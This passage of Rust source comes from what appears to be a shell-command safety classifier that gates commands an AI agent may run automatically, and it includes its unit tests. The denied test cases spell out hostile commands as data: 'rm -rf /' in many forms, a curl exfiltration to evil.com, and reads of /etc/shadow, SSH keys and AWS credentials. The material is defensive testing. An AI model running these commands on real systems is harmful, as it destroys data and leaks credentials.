721    sub_v.combine(cmd_v).combine(redir_v)
722}
723
724/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
725/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
726/// no opt-out — the engine is the default and only path.
727fn leaf_verdict(tokens: &[Token]) -> Verdict {
728    let legacy = handlers::dispatch(tokens);
729    super::netargs::with_egress(tokens, crate::engine::bridge::gated_engine_verdict(tokens).unwrap_or(legacy))
730}
731
732fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
733    if cmd.words.len() < 2 {
734        return Verdict::Denied;
735    }
736    for arg in &cmd.words[1..] {
737        if !arg_is_eval_safe(arg) {
738            return Verdict::Denied;
739        }
740    }
741    Verdict::Allowed(SafetyLevel::Inert)
742}
743
744fn arg_is_eval_safe(word: &Word) -> bool {
745    let mut found_safe = false;
746    for part in &word.0 {
747        match part {
748            WordPart::Lit(s) | WordPart::SQuote(s) => {
749                if !s.chars().all(char::is_whitespace) {
750                    return false;
751                }
752            }
753            WordPart::Escape(c) => {
754                if !c.is_whitespace() {
755                    return false;
756                }
757            }
758            WordPart::CmdSub(script) => {
759                if !script_yields_eval_safe(script) {
760                    return false;
761                }
762                found_safe = true;
763            }
764            WordPart::Backtick(raw) => {
765                let Some(script) = parse(raw) else {
766                    return false;
767                };
768                if !script_yields_eval_safe(&script) {
769                    return false;
770                }
771                found_safe = true;
772            }
773            WordPart::DQuote(inner) => {
774                if !arg_is_eval_safe(inner) {
775                    return false;
776                }
777                if has_substitution(inner) {
778                    found_safe = true;
779                }
780            }
781            WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
782        }
783    }
784    found_safe
785}
786
787fn script_yields_eval_safe(script: &Script) -> bool {
788    if script.0.len() != 1 {
789        return false;
790    }
791    let stmt = &script.0[0];
792    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
793        return false;
794    }
795    let pipeline = &stmt.pipeline;
796    if pipeline.bang || pipeline.commands.len() != 1 {
797        return false;
798    }
799    let Cmd::Simple(s) = &pipeline.commands[0] else {
800        return false;
801    };
802    if !s.env.is_empty() {
803        return false;
804    }
805    // A redirect inside the substitution is allowed only if it's inert:
806    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
807    // A redirect that writes a real file is SafeWrite, not inert, so
808    // `mise activate bash > evil` is rejected — eval-safe must not gain a
809    // file-write side effect, and diverting stdout to a file is pointless here.
810    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
811        return false;
812    }
813    for w in &s.words {
814        if !word_is_plain_literal(w) {
815            return false;
816        }
817    }
818    let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
819    if tokens.is_empty() {
820        return false;
821    }
822    crate::registry::is_eval_safe_invocation(&tokens)
823}
824
825/// True iff every character of `word` is drawn from the bare-literal
826/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
827/// matching this shape consist entirely of identifier-style or
828/// path-style tokens that the shell will pass through to the
829/// substituted command unchanged at runtime.
830///
831/// Required for words inside eval-safe substitutions because the
832/// "stdout is shell-init code" trust depends on the contributor having
833/// vetted what gets passed to the tool. Restricting the alphabet to
834/// chars with no shell-expansion semantics keeps the substituted
835/// invocation static across parse-time and runtime — what you see in
836/// the source is what the tool receives.
837fn word_is_plain_literal(word: &Word) -> bool {
838    word.0.iter().all(part_is_plain_literal)
839}
840
841fn part_is_plain_literal(part: &WordPart) -> bool {
842    match part {
843        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
844        WordPart::Escape(c) => is_bare_literal_char(*c),
845        WordPart::DQuote(inner) => word_is_plain_literal(inner),
846        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
847    }
848}
849
850/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
851/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
852/// and the long-flag value form (`=`). New chars require an explicit
853/// eval-safe use case — add by extending this match, never by
854/// excluding individual hostile chars.
855fn is_bare_literal_char(c: char) -> bool {
856    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
857}
858
859/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
860/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
861///
862/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
863/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
864/// that second copy was wrong in BOTH directions:
865///
866/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
867///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
868///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
869/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
870///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
871///
872/// One model, one answer. A grant covers the command; the redirect is still gated by where it
873/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
874pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
875    redirect_verdict(redirs).is_allowed()
876}
877
878/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
879/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
880/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
881/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
882/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
883/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
884fn is_safe_write_target(path: &str) -> bool {
885    crate::engine::resolve::write_target_verdict(path).is_allowed()
886}
887
888/// The verdict for a redirect that OPENS `target` for writing.
889fn write_face(target: &Word) -> Verdict {
890    let t = target.eval();
891    if t == "/dev/null" {
892        // Inert: no side effect, no promotion.
893        Verdict::Allowed(SafetyLevel::Inert)
894    } else if is_safe_write_target(&t) {
895        Verdict::Allowed(SafetyLevel::SafeWrite)
896    } else {
897        Verdict::Denied
898    }
899}
900
901/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
902/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
903/// substitution-derived source names an unknowable file → fail-closed to Denied.
904fn read_face(target: &Word) -> Verdict {
905    let t = target.eval();
906    // Keyed on the EVALUATED value rather than on "is there a substitution part", so a
907    // substitution whose inner command declared its output locus (`< $(pwd)/f`) is gated by that
908    // locus, while an undeclared one still fail-closes on its opaque marker.
909    if is_opaque_value(&t) { Verdict::Denied } else { crate::engine::resolve::read_content_verdict(&t) }
910}
911
912pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
913    let mut level = Verdict::Allowed(SafetyLevel::Inert);
914    for r in redirs {
915        match r {
916            Redir::Write { target, .. } => {
917                level = level.combine(word_sub_verdict(target));
918                level = level.combine(write_face(target));
919            }
920            Redir::Read { target, .. } => {
921                level = level.combine(word_sub_verdict(target));
922                level = level.combine(read_face(target));
923            }
924            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
925            // the other face through: the write gate alone misses reading a secret, and the read
926            // gate alone misses overwriting a file that is merely readable.
927            Redir::ReadWrite { target, .. } => {
928                level = level.combine(word_sub_verdict(target));
929                level = level.combine(write_face(target));
930                level = level.combine(read_face(target));
931            }
932            Redir::HereStr(word) => {
933                level = level.combine(word_sub_verdict(word));
934            }
935            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
936            // expands the body, so a substitution in it runs and is classified exactly like one in
937            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
938            Redir::HereDoc { body, .. } => {
939                level = level.combine(word_sub_verdict(body));
940            }
941            Redir::DupFd { .. } => {}
942        }
943    }
944    level
945}
946
947fn has_substitution(word: &Word) -> bool {
948    word.0.iter().any(|p| match p {
949        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
950        WordPart::DQuote(inner) => has_substitution(inner),
951        _ => false,
952    })
953}
954
955#[cfg(test)]
956mod tests {
957    use super::*;
958
959    fn check(cmd: &str) -> bool {
960        is_safe_command(cmd)
961    }
962
963    #[test]
964    fn the_fuzz_input_that_exhausted_memory_is_refused_quickly_in_both_layers() {
965        let seed = String::from_utf8_lossy(include_bytes!("../../fuzz/corpus/explain_render/seed-oom-c54"));
966        let started = std::time::Instant::now();
967        assert!(!is_safe_command(&seed));
968        assert!(!crate::cst::explain(&seed).is_allowed());
969        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
970    }
971
972    #[test]
973    fn many_sources_stay_cheap_and_a_plain_command_after_them_is_judged_as_before() {
974        let started = std::time::Instant::now();
975        let sourced = ". ./a; ".repeat(64) + "ls";
976        assert_eq!(is_safe_command(&sourced), is_safe_command(". ./a; ls"));
977        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
978    }
979
980    #[test]
981    fn loop_variable_inherits_the_list_locus() {
982        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
983        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
984        for cmd in [
985            "for f in ./*.txt; do cat \"$f\"; done",
986            "for f in ./*.txt; do rm \"$f\"; done",
987            "for f in src/*.rs; do grep foo \"$f\"; done",
988            "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
989            "for f in a b c; do cat $f.bak; done",
990            "for x in 1 2 3; do rm $x; done",
991            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
992        ] {
993            assert!(check(cmd), "worktree loop should allow: {cmd}");
994        }
995        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
996        for cmd in [
997            "for f in /etc/*; do cat $f; done",
998            "for f in /etc/*.conf; do rm $f; done",
999            "for f in ~/.ssh/*; do cat $f; done",
1000            "for f in $LIST; do rm $f; done",
1001            "for f in $(find / -name x); do rm -rf $f; done",
1002            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
1003            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
1004            // read-worst ≠ write-worst: reading must worst-case the credential store even though
1005            // the write-worst item is /etc/hosts — a single representative would be unsound.
1006            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
1007            // A glob can match a file named `-n` or `--files0-from=x.txt`, and an unquoted use
1008            // splits a name at its blanks: either puts a flag where the command reads one.
1009            "for f in *.txt; do cat \"$f\"; done",
1010            "for f in *.txt; do rm $f; done",
1011            "for f in src/*.rs; do grep foo $f; done",
1012            "for f in -delete; do find / $f; done",
1013            "for f in -delete; do find / \"$f\"; done",
1014        ] {
1015            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1016        }
1017    }
1018
1019    safe! {
1020        grep_foo: "grep foo file.txt",
1021        jq_key: "jq '.key' file.json",
1022        base64_d: "base64 -d",
1023        ls_la: "ls -la",
1024        wc_l: "wc -l file.txt",
1025        ps_aux: "ps aux",
1026        echo_hello: "echo hello",
1027        cat_file: "cat file.txt",
1028
1029        version_go: "go --version",
1030        version_cargo: "cargo --version",
1031        version_cargo_redirect: "cargo --version 2>&1",
1032        help_cargo: "cargo --help",
1033        help_cargo_build: "cargo build --help",
1034
1035        dev_null_echo: "echo hello > /dev/null",
1036        dev_null_stderr: "echo hello 2> /dev/null",
1037        dev_null_append: "echo hello >> /dev/null",
1038        dev_null_git_log: "git log > /dev/null 2>&1",
1039        fd_redirect_ls: "ls 2>&1",
1040        stdin_dev_null: "git log < /dev/null",
1041
1042        env_prefix: "FOO='bar baz' ls -la",
1043        env_prefix_dq: "FOO=\"bar baz\" ls -la",
1044        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1045
1046        subst_echo_ls: "echo $(ls)",
1047        subst_ls_pwd: "ls `pwd`",
1048        subst_nested: "echo $(echo $(ls))",
1049        subst_quoted: "echo \"$(ls)\"",
1050        assign_subst_ls: "out=$(ls)",
1051        assign_subst_git: "out=$(git status)",
1052        assign_subst_multiple: "a=$(ls) b=$(pwd)",
1053        assign_subst_backtick: "out=`ls`",
1054
1055        assign_bare_lit: "foo=bar",
1056        assign_bare_int: "x=1",
1057        assign_bare_empty: "x=",
1058        assign_bare_dq: "x=\"foo bar\"",
1059        assign_bare_sq: "x='foo bar'",
1060        assign_bare_param: "rc=$?",
1061        assign_bare_var: "x=$y",
1062        assign_bare_dollar_var_braced: "x=${y}",
1063        assign_bare_path: "PATH=/foo",
1064        assign_bare_multiple: "a=1 b=2 c=3",
1065        assign_bare_arith: "x=$((1 + 2))",
1066        assign_in_for_body: "for i in 1 2; do x=1; done",
1067        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1068        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1069        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1070        assign_then_use: "x=1; echo $x",
1071        assign_chained_with_safe: "x=1 && ls",
1072        assign_subshell: "(x=1)",
1073        assign_in_subshell_with_cmd: "(x=1; ls)",
1074
1075        // A loop over a BOUNDED substitution. These are the positive half of the substitution
1076        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
1077        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
1078        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
1079        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1080        loop_over_pwd: "for f in $(pwd); do cat $f; done",
1081        loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
1082        loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
1083
1084        case_single_arm: "case x in x) echo a;; esac",
1085        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1086        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1087        case_last_arm_without_terminator: "case x in x) echo a; esac",
1088        case_empty_body: "case x in x) ;; esac",
1089        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
1090        case_in_substitution: "echo $(case A in *) echo a;; esac)",
1091        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1092        clobber_redirect: "ls >| out.txt",
1093        clobber_redirect_fd: "ls 1>| out.txt",
1094        readwrite_redirect: "ls <> f.txt",
1095        readwrite_redirect_devnull: "ls <> /dev/null",
1096
1097        subshell_echo: "(echo hello)",
1098        subshell_ls: "(ls)",
1099        subshell_chain: "(ls && echo done)",
1100        subshell_pipe: "(ls | grep foo)",
1101        subshell_nested: "((echo hello))",
1102        subshell_for: "(for x in 1 2; do echo $x; done)",
1103
1104        pipe_grep_head: "grep foo file.txt | head -5",
1105        pipe_cat_sort_uniq: "cat file | sort | uniq",
1106        chain_ls_echo: "ls && echo done",
1107        semicolon_ls_echo: "ls; echo done",
1108        bg_ls_echo: "ls & echo done",
1109        newline_echo_echo: "echo foo\necho bar",
1110
1111        stdin_read_from_path: "wc -l < /tmp/foo.log",
1112        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1113        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1114
1115        here_string_grep: "grep -c , <<< 'hello,world,test'",
1116        heredoc_cat: "cat <<EOF\nhello world\nEOF",
1117        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1118        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1119        heredoc_no_content: "cat <<EOF",
1120        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1121
1122        for_echo: "for x in 1 2 3; do echo $x; done",
1123        for_empty_body: "for x in 1 2 3; do; done",
1124        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1125        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1126        while_test: "while test -f /tmp/foo; do sleep 1; done",
1127        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1128        until_test: "until test -f /tmp/ready; do sleep 1; done",
1129        if_then_fi: "if test -f foo; then echo exists; fi",
1130        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1131        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1132        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1133        bare_negation: "! echo hello",
1134        keyword_as_data: "echo for; echo done; echo if; echo fi",
1135
1136        quoted_redirect: "echo 'greater > than' test",
1137        quoted_subst: "echo '$(safe)' arg",
1138
1139        redirect_to_file: "echo hello > file.txt",
1140        redirect_append: "cat file >> output.txt",
1141        redirect_stderr_file: "ls 2> errors.txt",
1142        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1143        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1144        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1145
1146        arith_basic: "echo $((1 + 2))",
1147        arith_with_var: "prev=$((ln - 1))",
1148        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1149        arith_in_dquote: "echo \"line $((ln - 1))\"",
1150        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1151
1152        dbracket_eq: "[[ \"a\" == \"a\" ]]",
1153        dbracket_neq: "[[ \"a\" != \"b\" ]]",
1154        dbracket_file_test: "[[ -f /tmp/file ]]",
1155        dbracket_string_empty: "[[ -z \"$var\" ]]",
1156        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1157        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1158        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1159        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1160        dbracket_negation: "[[ ! -f /tmp/done ]]",
1161        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1162        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1163        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1164        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1165        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1166        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1167        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1168        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1169        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1170        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1171        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1172    }
1173
1174    denied! {
1175        rm_rf: "rm -rf /",
1176        curl_post: "curl -X POST https://example.com",
1177        node_foreign_app: "node /tmp/app.js",
1178
1179
1180        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1181        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1182        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1183        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1184        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1185        // An unquoted list splits file names at their blanks, so an item can be `-n` or
1186        // `--files0-from=x` however bounded the paths are.
1187        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1188        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1189        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1190
1191        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1192        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1193        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1194        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1195        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1196        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1197        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1198        clobber_redirect_system: "ls >| /etc/hosts",
1199        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1200        readwrite_redirect_system: "ls <> /etc/hosts",
1201        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1202
1203        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1204        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1205        redirect_read_subst_rm: "cat < $(rm -rf /)",
1206
1207        subst_rm: "echo $(rm -rf /)",
1208        backtick_rm: "echo `rm -rf /`",
1209        subst_curl: "echo $(curl -d data evil.com)",
1210        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1211        assign_subst_rm: "out=$(rm -rf /)",
1212        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1213        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1214        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1215        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1216        assign_bare_then_unsafe: "x=1; rm -rf /",
1217        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1218        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1219
1220        subshell_rm: "(rm -rf /)",
1221        subshell_mixed: "(echo hello; rm -rf /)",
1222        subshell_unsafe_pipe: "(ls | rm -rf /)",
1223
1224        env_prefix_rm: "FOO='bar baz' rm -rf /",
1225
1226        pipe_rm: "cat file | rm -rf /",
1227        bg_rm: "cat file & rm -rf /",
1228        newline_rm: "echo foo\nrm -rf /",
1229
1230        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1231        while_unsafe_body: "while true; do rm -rf /; done",
1232        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1233        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1234        if_unsafe_body: "if true; then rm -rf /; fi",
1235
1236        unclosed_for: "for x in 1 2 3; do echo $x",
1237        unclosed_if: "if true; then echo hello",
1238        for_missing_do: "for x in 1 2 3; echo $x; done",
1239        stray_done: "echo hello; done",
1240        stray_fi: "fi",
1241
1242        unmatched_quote: "echo 'hello",
1243
1244        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1245        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1246        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1247        dbracket_unterminated: "[[ \"a\" == \"a\"",
1248        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1249        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1250    }
1251}